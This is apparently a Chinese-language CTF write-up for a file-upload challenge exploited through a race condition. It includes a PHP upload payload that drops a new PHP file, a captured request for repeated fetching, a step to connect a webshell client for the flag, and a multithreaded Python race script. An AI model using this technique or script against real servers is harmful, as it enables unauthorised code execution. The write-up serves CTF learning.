文件上传题型有许多解法,这道题使用条件竞争去解决
题目本身逻辑很简单,不过黑盒测试真的费脑子,有十多种解法,不过上传图片时回显有提醒
其原理是在上传时平台不会立刻删除文件,会保留极短的一段时间,利用其间隙访问,就可以创造出php文件。
1.构造上传包
<?php fputs(fopen("info.php", "w"), "<?php phpinfo(); ?>"); ?>
2.构造数据抓包
GET /upload/1.php HTTP/1.1
Host: 61.147.171.105:51007
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=§1676471648,1676543791§; last_login_info=§YToxOntzOjI6ImlwIjtzOjE0OiI1OC4yMTQuMjI3LjEzMyI7fQ%3D%3D§
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
同时用薄荷将两个数据包调整为无负载,并一直持续攻击,注意抓包的线程要比上传包多
3.最后用蚁剑连接,获取flag
也可以用python脚本去做,附上大佬的脚本
import requests
import threading
import os
class RaceCondition(threading.Thread):
def __init__(self):
threading.Thread.__init__(self)
self.url = 'http://127.0.0.1/poc.php'
self.uploadUrl = 'http://127.0.0.1/upload.php'
def _get(self):
print('try to call uploaded file...')
r = requests.get(self.url)
if r.status_code == 200:
print('[*] create file info.php success.')
os._exit(0)
def _upload(self):
print('upload file...')
file = {'myfile': open('a.php', 'r')}
requests.post(self.uploadUrl, files=file)
def run(self):
while True:
for i in range(5):
self._get()
for i in range(10):
self._upload()
self._get()
if __name__ == '__main__':
threads = 50
for i in range(threads):
t = RaceCondition()
t.start()
for i in range(threads):
t.join()